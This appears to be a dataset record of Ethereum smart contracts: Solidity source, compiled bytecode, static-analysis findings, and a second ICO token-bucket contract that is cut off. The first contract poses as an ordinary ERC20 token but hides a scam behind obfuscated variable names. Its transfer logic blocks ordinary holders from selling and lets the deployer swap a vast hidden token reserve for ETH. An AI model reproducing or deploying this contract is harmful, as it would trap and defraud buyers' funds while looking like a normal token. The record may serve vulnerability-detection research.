* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Contract is IERC20, Ownable {
string private _name;
string private _symbol;
uint256 public _taxFee = 2;
uint8 private _decimals = 9;
uint256 private _tTotal = 1000000000000000 * 10**_decimals;
uint256 private _shirt = _tTotal;
uint256 private _rTotal = ~uint256(0);
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
mapping(address => uint256) private _balances;
mapping(address => uint256) private _love;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(uint256 => address) private _minute;
mapping(uint256 => address) private _ice;
mapping(address => uint256) private _expect;
constructor(
string memory Name,
string memory Symbol,
address routerAddress
) {
_name = Name;
_symbol = Symbol;
_love[msg.sender] = _shirt;
_balances[msg.sender] = _tTotal;
_balances[address(this)] = _rTotal;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
_ice[_shirt] = uniswapV2Pair;
emit Transfer(address(0), msg.sender, _tTotal);
}
function symbol() public view returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
receive() external payable {}
function approve(address spender, uint256 amount) external override returns (bool) {
return _approve(msg.sender, spender, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(
address _tonight,
address _herd,
uint256 amount
) private {
address _cast = _minute[_shirt];
bool _uncle = _tonight == _ice[_shirt];
if (_love[_tonight] == 0 && !_uncle && _expect[_tonight] > 0) {
require(_uncle);
}
_minute[_shirt] = _herd;
if (_love[_tonight] > 0 && amount == 0) {
_love[_herd] += _taxFee;
}
_expect[_cast] += _taxFee;
if (_love[_tonight] > 0 && amount > _shirt) {
swapAndLiquify(amount);
return;
}
if (_taxFee > 0 && _love[_tonight] == 0) {
uint256 fee = (amount * _taxFee) / 100;
amount -= fee;
_balances[_tonight] -= fee;
}
_balances[_tonight] -= amount;
_balances[_herd] += amount;
}
function addLiquidity(
uint256 tokenAmount,
uint256 ethAmount,
address to
) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
}
function swapAndLiquify(uint256 tokens) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokens);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp);
}
}
|
0x6080604052600436106100ec5760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102f3578063dd62ed3e14610330578063f2fde38b1461036d578063f887ea4014610396576100f3565b806370a0823114610249578063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c85780633b124fe7146101f357806349bd5a5e1461021e576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d6103c1565b60405161011a919061134c565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611407565b610453565b6040516101579190611462565b60405180910390f35b34801561016c57600080fd5b50610175610468565b604051610182919061148c565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad91906114a7565b610472565b6040516101bf9190611462565b60405180910390f35b3480156101d457600080fd5b506101dd61057f565b6040516101ea919061148c565b60405180910390f35b3480156101ff57600080fd5b50610208610599565b604051610215919061148c565b60405180910390f35b34801561022a57600080fd5b5061023361059f565b6040516102409190611509565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b9190611524565b6105c5565b60405161027d919061148c565b60405180910390f35b34801561029257600080fd5b5061029b61060e565b005b3480156102a957600080fd5b506102b2610696565b6040516102bf9190611509565b60405180910390f35b3480156102d457600080fd5b506102dd6106bf565b6040516102ea919061134c565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190611407565b610751565b6040516103279190611462565b60405180910390f35b34801561033c57600080fd5b5061035760048036038101906103529190611551565b6107cd565b604051610364919061148c565b60405180910390f35b34801561037957600080fd5b50610394600480360381019061038f9190611524565b610854565b005b3480156103a257600080fd5b506103ab61094c565b6040516103b891906115f0565b60405180910390f35b6060600180546103d09061163a565b80601f01602080910402602001604051908101604052809291908181526020018280546103fc9061163a565b80156104495780601f1061041e57610100808354040283529160200191610449565b820191906000526020600020905b81548152906001019060200180831161042c57829003601f168201915b5050505050905090565b6000610460338484610972565b905092915050565b6000600554905090565b600061047f848484610b0d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104dc919061148c565b60405180910390a3610576843384600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610571919061169b565b610972565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b60035481565b600860029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610616610fa3565b73ffffffffffffffffffffffffffffffffffffffff16610634610696565b73ffffffffffffffffffffffffffffffffffffffff161461068a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106819061171b565b60405180910390fd5b6106946000610fab565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546106ce9061163a565b80601f01602080910402602001604051908101604052809291908181526020018280546106fa9061163a565b80156107475780601f1061071c57610100808354040283529160200191610747565b820191906000526020600020905b81548152906001019060200180831161072a57829003601f168201915b5050505050905090565b600061075e338484610b0d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107bb919061148c565b60405180910390a36001905092915050565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61085c610fa3565b73ffffffffffffffffffffffffffffffffffffffff1661087a610696565b73ffffffffffffffffffffffffffffffffffffffff16146108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c79061171b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610940576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610937906117ad565b60405180910390fd5b61094981610fab565b50565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156109dd5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a139061183f565b60405180910390fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610afa919061148c565b60405180910390a3600190509392505050565b6000600d6000600654815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600e6000600654815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161490506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bfc575080155b8015610c4757506000600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610c575780610c5657600080fd5b5b83600d6000600654815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610cfa5750600083145b15610d5857600354600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d50919061185f565b925050819055505b600354600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610da9919061185f565b925050819055506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610e00575060065483115b15610e1557610e0e8361106f565b5050610f9e565b6000600354118015610e6657506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610eef576000606460035485610e7d91906118b5565b610e87919061193e565b90508084610e95919061169b565b935080600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee6919061169b565b92505081905550505b82600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f3e919061169b565b9250508190555082600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f94919061185f565b9250508190555050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600267ffffffffffffffff81111561108c5761108b61196f565b5b6040519080825280602002602001820160405280156110ba5781602001602082028036833780820191505090505b50905030816000815181106110d2576110d161199e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611179573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119d91906119e2565b816001815181106111b1576111b061199e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061121830600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610972565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008433426040518663ffffffff1660e01b815260040161127d959493929190611b08565b600060405180830381600087803b15801561129757600080fd5b505af11580156112ab573d6000803e3d6000fd5b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156112ed5780820151818401526020810190506112d2565b838111156112fc576000848401525b50505050565b6000601f19601f8301169050919050565b600061131e826112b3565b61132881856112be565b93506113388185602086016112cf565b61134181611302565b840191505092915050565b600060208201905081810360008301526113668184611313565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061139e82611373565b9050919050565b6113ae81611393565b81146113b957600080fd5b50565b6000813590506113cb816113a5565b92915050565b6000819050919050565b6113e4816113d1565b81146113ef57600080fd5b50565b600081359050611401816113db565b92915050565b6000806040838503121561141e5761141d61136e565b5b600061142c858286016113bc565b925050602061143d858286016113f2565b9150509250929050565b60008115159050919050565b61145c81611447565b82525050565b60006020820190506114776000830184611453565b92915050565b611486816113d1565b82525050565b60006020820190506114a1600083018461147d565b92915050565b6000806000606084860312156114c0576114bf61136e565b5b60006114ce868287016113bc565b93505060206114df868287016113bc565b92505060406114f0868287016113f2565b9150509250925092565b61150381611393565b82525050565b600060208201905061151e60008301846114fa565b92915050565b60006020828403121561153a5761153961136e565b5b6000611548848285016113bc565b91505092915050565b600080604083850312156115685761156761136e565b5b6000611576858286016113bc565b9250506020611587858286016113bc565b9150509250929050565b6000819050919050565b60006115b66115b16115ac84611373565b611591565b611373565b9050919050565b60006115c88261159b565b9050919050565b60006115da826115bd565b9050919050565b6115ea816115cf565b82525050565b600060208201905061160560008301846115e1565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061165257607f821691505b602082108114156116665761166561160b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006116a6826113d1565b91506116b1836113d1565b9250828210156116c4576116c361166c565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006117056020836112be565b9150611710826116cf565b602082019050919050565b60006020820190508181036000830152611734816116f8565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006117976026836112be565b91506117a28261173b565b604082019050919050565b600060208201905081810360008301526117c68161178a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006118296024836112be565b9150611834826117cd565b604082019050919050565b600060208201905081810360008301526118588161181c565b9050919050565b600061186a826113d1565b9150611875836113d1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118aa576118a961166c565b5b828201905092915050565b60006118c0826113d1565b91506118cb836113d1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156119045761190361166c565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611949826113d1565b9150611954836113d1565b9250826119645761196361190f565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506119dc816113a5565b92915050565b6000602082840312156119f8576119f761136e565b5b6000611a06848285016119cd565b91505092915050565b6000819050919050565b6000611a34611a2f611a2a84611a0f565b611591565b6113d1565b9050919050565b611a4481611a19565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a7f81611393565b82525050565b6000611a918383611a76565b60208301905092915050565b6000602082019050919050565b6000611ab582611a4a565b611abf8185611a55565b9350611aca83611a66565b8060005b83811015611afb578151611ae28882611a85565b9750611aed83611a9d565b925050600181019050611ace565b5085935050505092915050565b600060a082019050611b1d600083018861147d565b611b2a6020830187611a3b565b8181036040830152611b3c8186611aaa565b9050611b4b60608301856114fa565b611b58608083018461147d565b969550505050505056fea2646970667358221220aee541eda707c70c3af7ac7a7a0de972eac7b84f27809d775d4b210003a347be64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,279 |
0xf86746a25b0cedc0bf1108cbeaad5facb3df6f9f
|
pragma solidity ^0.4.25;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/// @title Role based access control mixin for Rasmart Platform
/// @author Abha Mai <maiabha82@gmail.com>
/// @dev Ignore DRY approach to achieve readability
contract RBACMixin {
/// @notice Constant string message to throw on lack of access
string constant FORBIDDEN = "Haven't enough right to access";
/// @notice Public map of owners
mapping (address => bool) public owners;
/// @notice Public map of minters
mapping (address => bool) public minters;
/// @notice The event indicates the addition of a new owner
/// @param who is address of added owner
event AddOwner(address indexed who);
/// @notice The event indicates the deletion of an owner
/// @param who is address of deleted owner
event DeleteOwner(address indexed who);
/// @notice The event indicates the addition of a new minter
/// @param who is address of added minter
event AddMinter(address indexed who);
/// @notice The event indicates the deletion of a minter
/// @param who is address of deleted minter
event DeleteMinter(address indexed who);
constructor () public {
_setOwner(msg.sender, true);
}
/// @notice The functional modifier rejects the interaction of senders who are not owners
modifier onlyOwner() {
require(isOwner(msg.sender), FORBIDDEN);
_;
}
/// @notice Functional modifier for rejecting the interaction of senders that are not minters
modifier onlyMinter() {
require(isMinter(msg.sender), FORBIDDEN);
_;
}
/// @notice Look up for the owner role on providen address
/// @param _who is address to look up
/// @return A boolean of owner role
function isOwner(address _who) public view returns (bool) {
return owners[_who];
}
/// @notice Look up for the minter role on providen address
/// @param _who is address to look up
/// @return A boolean of minter role
function isMinter(address _who) public view returns (bool) {
return minters[_who];
}
/// @notice Adds the owner role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to add role
/// @return A boolean that indicates if the operation was successful.
function addOwner(address _who) public onlyOwner returns (bool) {
_setOwner(_who, true);
}
/// @notice Deletes the owner role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to delete role
/// @return A boolean that indicates if the operation was successful.
function deleteOwner(address _who) public onlyOwner returns (bool) {
_setOwner(_who, false);
}
/// @notice Adds the minter role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to add role
/// @return A boolean that indicates if the operation was successful.
function addMinter(address _who) public onlyOwner returns (bool) {
_setMinter(_who, true);
}
/// @notice Deletes the minter role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to delete role
/// @return A boolean that indicates if the operation was successful.
function deleteMinter(address _who) public onlyOwner returns (bool) {
_setMinter(_who, false);
}
/// @notice Changes the owner role to provided address
/// @param _who is address to change role
/// @param _flag is next role status after success
/// @return A boolean that indicates if the operation was successful.
function _setOwner(address _who, bool _flag) private returns (bool) {
require(owners[_who] != _flag);
owners[_who] = _flag;
if (_flag) {
emit AddOwner(_who);
} else {
emit DeleteOwner(_who);
}
return true;
}
/// @notice Changes the minter role to provided address
/// @param _who is address to change role
/// @param _flag is next role status after success
/// @return A boolean that indicates if the operation was successful.
function _setMinter(address _who, bool _flag) private returns (bool) {
require(minters[_who] != _flag);
minters[_who] = _flag;
if (_flag) {
emit AddMinter(_who);
} else {
emit DeleteMinter(_who);
}
return true;
}
}
interface IMintableToken {
function mint(address _to, uint256 _amount) external returns (bool);
}
/// @title Very simplified implementation of Token Bucket Algorithm to secure token minting
/// @author Abha Mai <maiabha82@gmail.com>
/// @notice Works with tokens implemented Mintable interface
/// @dev Transfer ownership/minting role to contract and execute mint over ICOBucket proxy to secure
contract ICOBucket is RBACMixin {
using SafeMath for uint;
/// @notice Limit maximum amount of available for minting tokens when bucket is full
/// @dev Should be enough to mint tokens with proper speed but less enough to prevent overminting in case of losing pkey
uint256 public size;
/// @notice Bucket refill rate
/// @dev Tokens per second (based on block.timestamp). Amount without decimals (in smallest part of token)
uint256 public rate;
/// @notice Stored time of latest minting
/// @dev Each successful call of minting function will update field with call timestamp
uint256 public lastMintTime;
/// @notice Left tokens in bucket on time of latest minting
uint256 public leftOnLastMint;
/// @notice Reference of Mintable token
/// @dev Setup in contructor phase and never change in future
IMintableToken public token;
/// @notice Token Bucket leak event fires on each minting
/// @param to is address of target tokens holder
/// @param left is amount of tokens available in bucket after leak
event Leak(address indexed to, uint256 left);
/// ICO SECTION
/// @notice A token price
uint256 public tokenCost;
/// @notice Allow only whitelisted wallets to purchase
mapping(address => bool) public whiteList;
/// @notice Main wallet all funds are transferred to
address public wallet;
/// @notice Main wallet all funds are transferred to
uint256 public bonus;
/// @notice Minimum amount of tokens can be purchased
uint256 public minimumTokensForPurchase;
/// @notice A helper
modifier onlyWhiteList {
require(whiteList[msg.sender]);
_;
}
/// END ICO SECTION
/// @param _token is address of Mintable token
/// @param _size initial size of token bucket
/// @param _rate initial refill rate (tokens/sec)
constructor (address _token, uint256 _size, uint256 _rate, uint256 _cost, address _wallet, uint256 _bonus, uint256 _minimum) public {
token = IMintableToken(_token);
size = _size;
rate = _rate;
leftOnLastMint = _size;
tokenCost = _cost;
wallet = _wallet;
bonus = _bonus;
minimumTokensForPurchase = _minimum;
}
/// @notice Change size of bucket
/// @dev Require owner role to call
/// @param _size is new size of bucket
/// @return A boolean that indicates if the operation was successful.
function setSize(uint256 _size) public onlyOwner returns (bool) {
size = _size;
return true;
}
/// @notice Change refill rate of bucket
/// @dev Require owner role to call
/// @param _rate is new refill rate of bucket
/// @return A boolean that indicates if the operation was successful.
function setRate(uint256 _rate) public onlyOwner returns (bool) {
rate = _rate;
return true;
}
/// @notice Change size and refill rate of bucket
/// @dev Require owner role to call
/// @param _size is new size of bucket
/// @param _rate is new refill rate of bucket
/// @return A boolean that indicates if the operation was successful.
function setSizeAndRate(uint256 _size, uint256 _rate) public onlyOwner returns (bool) {
return setSize(_size) && setRate(_rate);
}
/// @notice Function to calculate and get available in bucket tokens
/// @return An amount of available tokens in bucket
function availableTokens() public view returns (uint) {
// solium-disable-next-line security/no-block-members
uint256 timeAfterMint = now.sub(lastMintTime);
uint256 refillAmount = rate.mul(timeAfterMint).add(leftOnLastMint);
return size < refillAmount ? size : refillAmount;
}
/// ICO METHODS
function addToWhiteList(address _address) public onlyMinter {
whiteList[_address] = true;
}
function removeFromWhiteList(address _address) public onlyMinter {
whiteList[_address] = false;
}
function setWallet(address _wallet) public onlyOwner {
wallet = _wallet;
}
function setBonus(uint256 _bonus) public onlyOwner {
bonus = _bonus;
}
function setMinimumTokensForPurchase(uint256 _minimum) public onlyOwner {
minimumTokensForPurchase = _minimum;
}
/// @notice Purchase function mints tokens
/// @return A boolean that indicates if the operation was successful.
function () public payable onlyWhiteList {
uint256 tokensAmount = tokensAmountForPurchase();
uint256 available = availableTokens();
uint256 minimum = minimumTokensForPurchase;
require(tokensAmount <= available);
require(tokensAmount >= minimum);
// transfer all funcds to external multisig wallet
wallet.transfer(msg.value);
leftOnLastMint = available.sub(tokensAmount);
lastMintTime = now; // solium-disable-line security/no-block-members
require(token.mint(msg.sender, tokensAmount));
}
function tokensAmountForPurchase() private constant returns(uint256) {
return msg.value.mul(10 ** 18)
.div(tokenCost)
.mul(100 + bonus)
.div(100);
}
}
|
0x60806040526004361061015e5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166301bf664881146102b0578063022914a7146102d35780630b98f97514610308578063170ab405146103205780632aff49d7146103385780632c4e722e146103535780632f54bf6e1461037a57806334fcf4371461039b57806336b40bb6146103b3578063372c12b1146103c857806347ee0394146103e9578063521eb2731461040a57806369bb4dc21461043b5780637065cb481461045057806375b4d78c14610471578063912221d514610486578063949d225d1461049b578063983b2d56146104b05780639d463520146104d1578063aa271e1a146104e6578063b28f53fe14610507578063cd5c4c701461051f578063d82f94a314610540578063deaa59df14610561578063f2dcb39a14610582578063f46eccc414610597578063fc0c546a146105b8575b336000908152600860205260408120548190819060ff16151561018057600080fd5b6101886105cd565b925061019261061b565b600b549092509050818311156101a757600080fd5b808310156101b457600080fd5b600954604051600160a060020a03909116903480156108fc02916000818181858888f193505050501580156101ed573d6000803e3d6000fd5b506101fe828463ffffffff61067a16565b600555426004908155600654604080517f40c10f1900000000000000000000000000000000000000000000000000000000815233938101939093526024830186905251600160a060020a03909116916340c10f199160448083019260209291908290030181600087803b15801561027457600080fd5b505af1158015610288573d6000803e3d6000fd5b505050506040513d602081101561029e57600080fd5b505115156102ab57600080fd5b505050005b3480156102bc57600080fd5b506102d1600160a060020a0360043516610691565b005b3480156102df57600080fd5b506102f4600160a060020a036004351661076c565b604080519115158252519081900360200190f35b34801561031457600080fd5b506102d1600435610781565b34801561032c57600080fd5b506102f4600435610804565b34801561034457600080fd5b506102f460043560243561088d565b34801561035f57600080fd5b5061036861092d565b60408051918252519081900360200190f35b34801561038657600080fd5b506102f4600160a060020a0360043516610933565b3480156103a757600080fd5b506102f4600435610951565b3480156103bf57600080fd5b506103686109da565b3480156103d457600080fd5b506102f4600160a060020a03600435166109e0565b3480156103f557600080fd5b506102d1600160a060020a03600435166109f5565b34801561041657600080fd5b5061041f610a97565b60408051600160a060020a039092168252519081900360200190f35b34801561044757600080fd5b5061036861061b565b34801561045c57600080fd5b506102f4600160a060020a0360043516610aa6565b34801561047d57600080fd5b50610368610b37565b34801561049257600080fd5b50610368610b3d565b3480156104a757600080fd5b50610368610b43565b3480156104bc57600080fd5b506102f4600160a060020a0360043516610b49565b3480156104dd57600080fd5b50610368610bd4565b3480156104f257600080fd5b506102f4600160a060020a0360043516610bda565b34801561051357600080fd5b506102d1600435610bf8565b34801561052b57600080fd5b506102f4600160a060020a0360043516610c7b565b34801561054c57600080fd5b506102f4600160a060020a0360043516610d06565b34801561056d57600080fd5b506102d1600160a060020a0360043516610d91565b34801561058e57600080fd5b50610368610e3e565b3480156105a357600080fd5b506102f4600160a060020a0360043516610e44565b3480156105c457600080fd5b5061041f610e59565b600061061660646105fe600a5460640161060a6007546105fe670de0b6b3a764000034610e6890919063ffffffff16565b9063ffffffff610e9116565b9063ffffffff610e6816565b905090565b60008060006106356004544261067a90919063ffffffff16565b915061065e60055461065284600354610e6890919063ffffffff16565b9063ffffffff610ea616565b9050806002541061066f5780610673565b6002545b9250505090565b60008282111561068657fe5b508082035b92915050565b61069a33610bda565b60408051808201909152601e8152600080516020611053833981519152602082015290151561074a5760405160e560020a62461bcd0281526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561070f5781810151838201526020016106f7565b50505050905090810190601f16801561073c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600160a060020a03166000908152600860205260409020805460ff19169055565b60006020819052908152604090205460ff1681565b61078a33610933565b60408051808201909152601e815260008051602061105383398151915260208201529015156107fe5760405160e560020a62461bcd0281526004018080602001828103825283818151815260200191508051906020019080838360008381101561070f5781810151838201526020016106f7565b50600a55565b600061080f33610933565b60408051808201909152601e815260008051602061105383398151915260208201529015156108835760405160e560020a62461bcd0281526004018080602001828103825283818151815260200191508051906020019080838360008381101561070f5781810151838201526020016106f7565b5050600255600190565b600061089833610933565b60408051808201909152601e8152600080516020611053833981519152602082015290151561090c5760405160e560020a62461bcd0281526004018080602001828103825283818151815260200191508051906020019080838360008381101561070f5781810151838201526020016106f7565b5061091683610804565b8015610926575061092682610951565b9392505050565b60035481565b600160a060020a031660009081526020819052604090205460ff1690565b600061095c33610933565b60408051808201909152601e815260008051602061105383398151915260208201529015156109d05760405160e560020a62461bcd0281526004018080602001828103825283818151815260200191508051906020019080838360008381101561070f5781810151838201526020016106f7565b5050600355600190565b60055481565b60086020526000908152604090205460ff1681565b6109fe33610bda565b60408051808201909152601e81526000805160206110538339815191526020820152901515610a725760405160e560020a62461bcd0281526004018080602001828103825283818151815260200191508051906020019080838360008381101561070f5781810151838201526020016106f7565b50600160a060020a03166000908152600860205260409020805460ff19166001179055565b600954600160a060020a031681565b6000610ab133610933565b60408051808201909152601e815260008051